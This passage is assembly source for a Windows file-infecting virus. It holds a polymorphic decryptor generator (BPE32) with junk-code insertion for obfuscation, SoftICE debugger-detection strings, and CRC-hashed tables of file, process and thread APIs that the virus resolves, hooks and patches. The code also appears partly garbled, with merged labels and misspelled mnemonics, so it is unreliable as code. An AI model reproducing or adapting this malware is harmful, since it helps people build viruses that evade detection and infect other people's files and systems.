MOV Al, 31h; Generate Xor [SourceReg], KeyReg
Stosb; ...
Mov al, ch; ...
ROL Al, 3; ...
OR Al, Bh; ...
Stosb; ...
Push 6; this Stuff Will Choose Ordinary of Calls
Call Random; To Code Generators
Test Eax, EAX
JE G5; GREG4 - Key Incremention
CMP AL, 1; Greg5 - Source Incremention
JE G1; GREG6 - Count Decrement
CMP Al, 2; Greg7 - Decryption Loop
Je g2
CMP Al, 3
Je g3
CMP AL, 4
Je g4
G0: Call GG1
Call greg6
JMP g_endg1: Call GG2
Call greg5
JMP g_end
G2: Call GREG5
Call GG2
JMP g_end
G3: Call GREG5
GG3: Call GREG6
JMP g_out
G4: Call GREG6
Call GG1
JMP g_end
G5: Call GREG6
Call greg5
g_out: Call Greg4
g_end: Call Greg7
MOV Al, 61h; Generate Popad Instruction
Stosb; ...
Call Rjunk; Junk Instruction Generator
MOV Al, 0C3H; RET INSTRUCTION
Stosb; ...
POP Eax; Calculate Size of Decryptor and Encrypted Data
Sub Eax, EDI; ...
NEG EAX; ...
Mov [ESP.PUSHAD_EAX], EAX; Store It To Eax Register
Popad; Restore All Regs
Ret; and Thats All FOLX
Get_reg proc; this procedure generates random register
Push 8; Random Number (0-7)
Call Random; ...
Test Eax, EAX
JE get_reg; Must Not Be 0 (= EAX IS Used as junk register)
CMP Al, 100B; Must Not Be ESP
JE get_reg
RET
GET_REG ENDP
Make_xor proc; this procedure will generate Instruction, That
Push 3; Will Nulify Register (BL AS Parameter)
Call Random
Test Eax, EAX
JE _SUB_
CMP Al, 1
JE _MOV_
MOV Al, 33h; Generate Xor REG, REG
JMP _xor_
_SUB_: MOV Al, 2Bh; Generate Sub Reg, REG
_xor_: Stosb
MOV Al, 18h
OR Al, BL
ROL Al, 3
OR Al, BL
Stosb
RET
_MOV_: CMP DL, 11; Generate Mov Reg, 0
Je make_xor
MOV Al, 0B8H
Add Al, BL
Stosb
XOR EAX, EAX
Stosd
RET
Make_xor endp
GG1: Call GREG4
JMP GREG5
GG2: Call GREG4
JMP GREG6
Random Proc; This Procedure Will Generate Random Number
; in Range from 0 to pushed_parameter-1
; 0 = do not truncate result
Push EDX; Save Edx
RDTCS; RDTCS INSTRUCTION - Reads PCS Tix and Stores
Number of Them Into Pair EDX: EAX
XOR EDX, EDX; Nulify Edx, WE NEED INLY EAX
CMP [ESP 8], EDX; is parameter == 0?
Je r_out; yeah, do not truncate result
Div DWORD PTR [ESP 8]; Divide IT
XCHG Eax, EDX; Remainder As Resultr_out: Pop Edx; Restore Edx
RET PSHD; Quit Procedure and Destroy Pushed Parameter
Random ENDP
Make_xor2 proc; Create Xor Instruction
MOV Al, 81H
Stosb
MOV Al, 0F0H
Add Al, BH
Stosb
RET
Make_xor2 endp
Greg2 proc; 1 parameter = Source / Count Value
Call get_reg; get register
CMP AL, BL; Already used?
Je Greg2
CMP AL, 5
Je Greg2
CMP Al, BH
Je Greg2
MOV BH, Al
MOV ECX, [ESP 4]; Get Parameter
Push 5; Choose Instructions
Call Random
Test Eax, EAX
JE S_NEXT0
CMP Al, 1
JE S_Next1
CMP AL, 2
JE S_Next2
CMP Al, 3
JE S_NEXT3
MOV Al, 0B8H; MOV REG, RANDOM_VALUE
Add Al, Bh; Xor REG, VALUE
Stosb; param = random_value xor value
PUSH 0
Call Random
XOR ECX, EAX
Stosd
Call make_xor2
MOV EAX, ECX
JMP N_END2
S_Next0: MOV Al, 68H; Push Random_Value
Stosb; POP REG
Push 0; xor REG, VALUE
Call Random; Result = Random_Value Xor Value
XCHG EAX, ECX
XOR EAX, ECX
Stosd
MOV Al, 58H
Add Al, BH
Stosb
Call make_xor2
XCHG EAX, ECX
JMP N_END2
S_Next1: MOV Al, 0B8H; Mov Eax, Random_Value
Stosb; Mov REG, EAX
Push 0; SUB REG, VALUE
Call Random; Result = Random_Value - Value
Stosd
Push EAX
MOV Al, 8BH
Stosb
MOV Al, 18h
OR Al, BH
ROL Al, 3
Stosb
MOV Al, 81H
Stosb
Mov al, 0e8h
Add Al, BH
Stosb
POP EAX
Sub Eax, ECX
JMP N_END2
S_Next2: Push Ebx; xor REG, REG
MOV BL, BH; Xor REG, RANDOM_VALUE
Call make_xor; add reg, value
POP EBX; Result = Random_Value Value
Call make_xor2
PUSH 0
Call Random
SUB ECX, EAX
Stosd
Push ECX
Call S_LBL
POP EAX
JMP N_END2
S_LBL: MOV Al, 81H; Create Add Reg, ... instruction
Stosb
MOV Al, 0C0H
Add Al, BH
Stosb
RET
S_Next3: Push Ebx; xor REG, REG
MOV BL, BH; Add Reg, Random_Value
Call make_xor; xor reg, valuepop ebx; result = random_value xor value
PUSH 0
Call Random
Push EAX
XOR EAX, ECX
XCHG EAX, ECX
Call S_LBL
XCHG EAX, ECX
Stosd
Call make_xor2
POP EAX
N_END2: Stosd
PUSH ESI
Call Rjunk
POP ESI
RET PSHD
GREG2 ENDP
GREG3 PROC
Call get_reg; get register
CMP AL, 5; Already used?
Je greg3
CMP AL, BL
Je greg3
CMP Al, BH
Je greg3
CMP AL, CL
Je greg3
MOV CH, Al
MOV EDX, 0; Get Encryption Key Value
XOR_KEY = DWORD PTR $ - 4
Push 3
Call Random
Test Eax, EAX
JE K_NEXT1
CMP Al, 1
JE K_NEXT2
Push Ebx; xor reg, REG
Mov BL, Ch; OR, Add, Xor REG, VALUE
Call make_xor
POP EBX
MOV Al, 81H
Stosb
Push 3
Call Random
Test Eax, EAX
JE K_NXT2
CMP Al, 1
JE K_NXT3
MOV Al, 0C0H
K_nxt1: Add Al, CH
Stosb
XCHG EAX, EDX
n_end1: stosd
K_end: Call Rjunk
RET
K_nxt2: MOV Al, 0F0H
JMP K_NXT1
K_nxt3: MOV Al, 0C8H
JMP K_NXT1
K_Next1: MOV Al, 0B8H; Mov Reg, Value
JMP K_NXT1
K_Next2: Mov Al, 68H; Push Value
Stosb; POP REG
XCHG EAX, EDX
Stosd
MOV Al, CH
Add Al, 58H
JMP i_end1
GREG3 ENDP
Greg4 proc
MOV EDX, 0; Get Key Increment Value
Key_inc = DWORD PT $ - 4
I_Next: Push 3
Call Random
Test Eax, EAX
JE I_NEXT0
CMP Al, 1
JE I_NEXT1
CMP AL, 2
JE I_NEXT2
MOV Al, 90H; XCHG Eax, REG
Add Al, CH; Xor REG, REG
Stosb; Or REG, EAX
Push Ebx; Add Reg, Value
MOV BL, CH
Call make_xor
POP EBX
MOV Al, 0BH
Stosb
MOV Al, 18h
Add Al, CH
ROL Al, 3
Stosb
I_Next0: Mov Al, 81H; Add Reg, Value
Stosb
MOV Al, 0C0H
Add Al, CH
Stosb
XCHG EAX, EDX
JMP N_END1
I_Next1: MOV Al, 0B8H; Mov Eax, Value
Stosb; Add Reg, EAX
XCHG EAX, EDX
Stosd
MOV Al, 3
Stosb
MOV Al, 18h
OR Al, CH
ROL Al, 3
I_END1: Stosb
i_end2: Call Rjunk
RET
I_Next2: Mov Al, 8bh; Mov Eax, Regstosb; Add Eax, Value
MOV Al, 0C0H; XCHG Eax, REG
Add Al, CH
Stosb
MOV Al, 5
Stosb
XCHG EAX, EDX
Stosd
MOV Al, 90h
Add Al, CH
JMP i_end1
GREG4 ENDP
Greg5 proc
Push ECX
MOV CH, BH
Push 4
POP EDX
Push 2
Call Random
Test Eax, EAX
JNE NG5
Call i_next; same as prepvious, value = 4
POP ECX
JMP K_END
NG5: MOV Al, 40H; 4X Inc REG
Add Al, CH
POP ECX
Stosb
Stosb
Stosb
JMP i_end1
GREG5 ENDP
GREG6 PROC
Push 5
Call Random
Test Eax, EAX
JE D_NEXT0
CMP Al, 1
JE D_NEXT1
CMP AL, 2
JE D_NEXT2
MOV Al, 83H; Sub Reg, 1
Stosb
Mov al, 0e8h
Add Al, Cl
Stosb
MOV Al, 1
JMP i_end1
D_Next0: MOV Al, 48H; Dec REG
Add Al, Cl
JMP i_end1
D_Next1: Mov Al, 0B8H; MOV Eax, Random_Value
Stosb; Sub Reg, EAX
Push 0; add reg, random_value-1
Call Random
Mov Edx, EAX
Stosd
MOV Al, 2BH
Stosb
MOV Al, 18h
Add Al, Cl
ROL Al, 3
Stosb
MOV Al, 81H
Stosb
MOV Al, 0C0H
Add Al, Cl
Stosb
Dec edx
MOV EAX, EDX
JMP N_END1
D_Next2: MOV Al, 90H; XCHG Eax, REG
Add Al, Cl; Dec EAX
Stosb; Xchg Eax, REG
MOV Al, 48h
Stosb
MOV Al, 90h
Add Al, Cl
JMP i_end1
GREG6 ENDP
Greg7 Proc
Mov Edx, [ESP 4]
Dec edx
Push 2
Call Random
Test Eax, EAX
JE L_NEXT0
MOV Al, 51H; Push ECX
Stosb; Mov ECX, REG
MOV Al, 8BH; JECXZ Label
Stosb; POP ECX
MOV Al, 0C8H; JMP Decrypt_Loop
Add Al, Cl; Label:
Stosb; POP ECX
Mov eax, 0eb5903e3h
Stosd
Sub EDX, EDI
MOV Al, DL
Stosb
MOV Al, 59H
JMP L_Next
L_next0: Push Ebx; xor EAX, EAX
XOR BL, BL; DEC EAX
Call make_xor; add Eax, REG
POP EBX; JNS Decrypt_LOOP
MOV Al, 48h
Stosb
MOV Al, 3
Stosb
MOV Al, 0C0H
Add Al, Cl
Stosb
MOV Al, 79h
Stosb
Sub EDX, EDI
MOV Al, DL
l_next: Stosb
Call Rjunk
RET PSHD
GREG7 ENDP
Rjunkjc: Push 7
Call Random
JMP RJN
Rjunk Proc; Junk Instruction Generator
Push 8
Call Random; 0 = 5, 1 = 1 2, 2 = 2 1, 3 = 1, 4 = 2, 5 = 3, 6 = None, 7 = Dummy Jump and Call
RJN: Test Eax, EAX
Je j5
CMP Al, 1
JE j_1x2
CMP AL, 2
JE j_2x1
CMP AL, 4
Je J2
CMP AL, 5
Je J3
CMP AL, 6
Je r_end
CMP AL, 7
Je jcj
J1: Call Junx1; One Byte Junk Instruction
NOP
Dec EAX
Salc
INC EAX
CLC
CWDE
STC
CLD
Junx1: POP ESI
Push 8
Call Random
Add ESI, ESI
Movsb
RET
J_1x2: Call J1; One Byte and Two Byte
JMP J2
J_2x1: Call J2; Two Byte and One Byte
JMP J1
J3: Call Junx3
DB 0C1H, 0C0H; ROL Eax, ...
DB 0C1H, 0E0H; SHL EAX, ...
DB 0C1H, 0C8H; Ror Eax, ...
DB 0C1H, 0E8H; SHR EAX, ...
DB 0C1H, 0D0H; RCL EAX, ...
DB 0C1H, 0F8H; Sar Eax, ...
DB 0C1H, 0D8H; RCR EAX, ...
DB 083H, 0C0H
DB 083H, 0C8H
DB 083H, 0D0H
DB 083H, 0D8H
DB 083H, 0E0H
DB 083H, 0E8H
DB 083H, 0F0H
DB 083H, 0F8H; CMP EAX, ...
DB 0F8H, 072H; CLC; JC ...
DB 0F9H, 073H; STC; JNC ...
Junx3: Pop ESI; Three Byte Junk Instruction
Push 17
Call Random
Imul Eax, 2
Add ESI, ESI
Movsb
Movsb
R_ran: Push 0
Call Random
Test Al, Al
Je r_ran
Stosb
RET
J2: Call Junx2
DB 8BH; MOV Eax, ...
DB 03H; Add Eax, ...
DB 13H; ADC EAX, ...
DB 2bh; SUB EAX, ...
DB 1BH; SBB EAX, ...
DB 0bh; or eax, ...
DB 33H; XOR Eax, ...
DB 23h; And Eax, ...
DB 33H; Test Eax, ...
Junx2: Pop ESI; Two Byte Junk Instruction
Push 9
Call Random
Add ESI, ESI
Movsb
Push 8
Call Random
Add Al, 11000000B
Stosb
R_end: RET
J5: Call Junx5
DB 0B8H; MOV Eax, ...
DB 05H; Add Eax, ...
DB 15h; ADC EAX, ...
DB 2DH; SUB EAX, ...
DB 1DH; SBB EAX, ...
DB 0DH; or Eax, ...
DB 35H; XOR Eax, ...
DB 25h; And Eax, ...
DB 0A9H; Test Eax, ...
DB 3dH; CMP Eax, ... JUNX5: POP ESI; FIVE BYTE JUNK INSTRUCTION
Push 10
Call Random
Add ESI, ESI
Movsb
PUSH 0
Call Random
Stosd
RET
JCJ: Call Rjunkjc; Junk
Push Edx; Call Label1
Push EBX; JUNK
Push ECX; JMP Label2
MOV Al, 0e8h; Junk
Stosb; Label1: Junk
Push EDI; RET
STOSD; JUNK
Push EDI; Label2:
Call Rjunkjc; Junk
Mov al, 0e9h
Stosb
MOV ECX, EDI
Stosd
MOV EBX, EDI
Call Rjunkjc
POP EAX
Sub Eax, EDI
NEG EAX
Mov Edx, EDI
POP EDI
Stosd
MOV EDI, EDX
Call Rjunkjc
MOV Al, 0C3H
Stosb
Call Rjunkjc
SUB EBX, EDI
NEG EBX
XCHG EAX, EBX
Push EDI
Mov Edi, ECX
Stosd
POP EDI
Call Rjunkjc
POP ECX
POP EBX
POP EDX
RET
Rjunk ENDP
BPE32 ENDP; BPE32 Ends Here
SZK32 DB 'KERNEL32.DLL', 0; Name of DLL
SICE95 DB '//./sice', 0; Softice / 95/98
SICENT DB '//./ntice', 0; Softice / NT
; APIS NEEDED AT RUN-TIME
CRCAPIS DD 0AE17EBEFH; FindfirstFilea
DD 0AA700106H; FindNextFilea
DD 0C200BE21H; FindClose
DD 03C19E536H; SetFileAttributesa
DD 04B2A3E7DH; setFiletime
DD 08C892DDFH; CREATEFILEA
DD 096B2D96CH; CREATEFILEMAPPINGA
DD 0797B49ECH; MapViewoffile
DD 094524B42H; UnmapViewOffile
DD 019F33607H; CreateThread
DD 0D4540229H; WaitforsingleObject
DD 068624A9DH; CloseHandle
DD 020B943E7H; CreateMutexa
DD 0C449CF4EH; ReleaseMutex
DD 0C6F22166H; OpenMuteExa
DD 00ac136bah; SLEEP
DD 079C3D4BBH; VirtualProtect
DD 0EB1CE85CH; getCurrentProcessid
DD 033D350C4H; OpenProcess
DD 041A050AFH; TerminateProcess
DD 04134D1ADH; LoadLibrarya
DD 0FFC97C1FH; GetProcaddress
DD 0AFDF191FH; freeelibrary
; APIS to Hook
CRCHAPIS DD 0AE17EBEFH; FindfirstFilea
DD 0AA700106H; FindNextFilea
DD 05BD05DB1H; CopyFilea
DD 0953F2B64H; CopyFileExa
DD 08C892DDFH; CREATEFILEA
DD 0267E0B05H; CreateProcessAdd 0DE256FDEH; Deletefilea
DD 0C633D3DEH; GetFileAttributesa
DD 08F48B20DH; getFullPathnamea
DD 0f2f886e3h; _lopen
DD 02308923FH; Movefilea
DD 03BE43958H; Movefileexa
DD 068D8FC46H; OpenFile
DD 03C19E536H; SetFileAttributesa
DD 028452C4FH; WINEXEC
DD 040F57181H; EXITPROCESS
DD 0058F9201H; exitthread
DD 087D52C94H; getLastError
DD 068624A9DH; CloseHandle
; APIS to Patch
CRCPAPIS DD 0E141042AH; GetProcessHeap
DD 042F13D06H; GetVersion
DD 0DE5C074CH; GetVersionex
DD 052CA6A8DH; GetStartupinfoa
DD 04E52DF5AH; getStartupinfow
DD 03921BF03H; GetcommandLinea
DD 025B90AD4H; getcommandLinew
DD 003690E66H; GetCurrentProcess
DD 019F33607H; CreateThread
DD 082B618D4H; GetModuleHandlea
DD 09E2EAD03H; GetModuleHandlew
DD?
Virus_end:; End of Virus in Host
TMP DD?; Temporary Variable
ORG TMP; OVERLAY
WFD WIN32_FIND_DATA?; WIN32 Find Data
WFD2 win32_find_data?; Win32 Find Data
DATA_BUFFER DB 256 DUP (?); buffer for VLCB_TDATA
Size_unint = $ - Virus_END; SIZE OF Unitialized
Variables
Used Only by First Generation of Virus
Workspace1 DB 16 DUP (?); USD by Compression
Workspace2 DB 16 DUP (?); Engine
_GetModuleHandlea DD Offset getModuleHandlea
Ends; End of code Section
End first_gen; end of virus